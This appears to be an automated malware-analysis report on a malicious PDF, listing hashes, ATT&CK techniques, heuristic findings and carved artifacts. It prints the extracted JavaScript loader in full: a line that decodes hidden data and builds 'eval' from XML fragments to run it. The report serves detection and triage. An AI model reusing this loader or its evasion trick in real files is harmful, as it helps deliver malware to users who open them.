PDF malware analysis — malicious · 19ba9bc9eea25dda

MALICIOUS

PDF

5.9 KB First seen: 2013-08-12

MD5: a6b39d6dc08dde1d01ebd536b5cce787 SHA-1: e6a0aece2c37ce1e884b8d2a0c76e304bda6bd18 SHA-256: 19ba9bc9eea25dda7abfb39280e76392ef40580c38fa3ea91b02d5040c3b67c4

76 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1566.002 Spearphishing Attachment T1204.002 Malicious File

The PDF was flagged by an ML classifier with high confidence as malicious. Static analysis revealed embedded JavaScript and an embedded binary file, indicating a likely attempt to download and execute a secondary payload. The presence of these elements strongly suggests a malicious intent, such as delivering malware.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0012.bin`	pdf-embedded-file	PDF EmbeddedFile object 12 at offset 0x428	149220 bytes
SHA-256: `24a99147cae0607597addecb0d7e272311d7885cc001fce40c9bed825add6b73`
Detection ClamAV: No threats found Obfuscation or payload: likely 323 of 323 identifiers look randomly generated (e.g. 'V2Zr1ndpceu39PLmC1V2Zr1ndpceu39PLmC2V2Zr') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1CC	254 bytes
SHA-256: `1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6`
Preview script First 1,000 lines of the extracted script ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){ rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd); rf=re.one.value+re.two.value;this[rf](rc);

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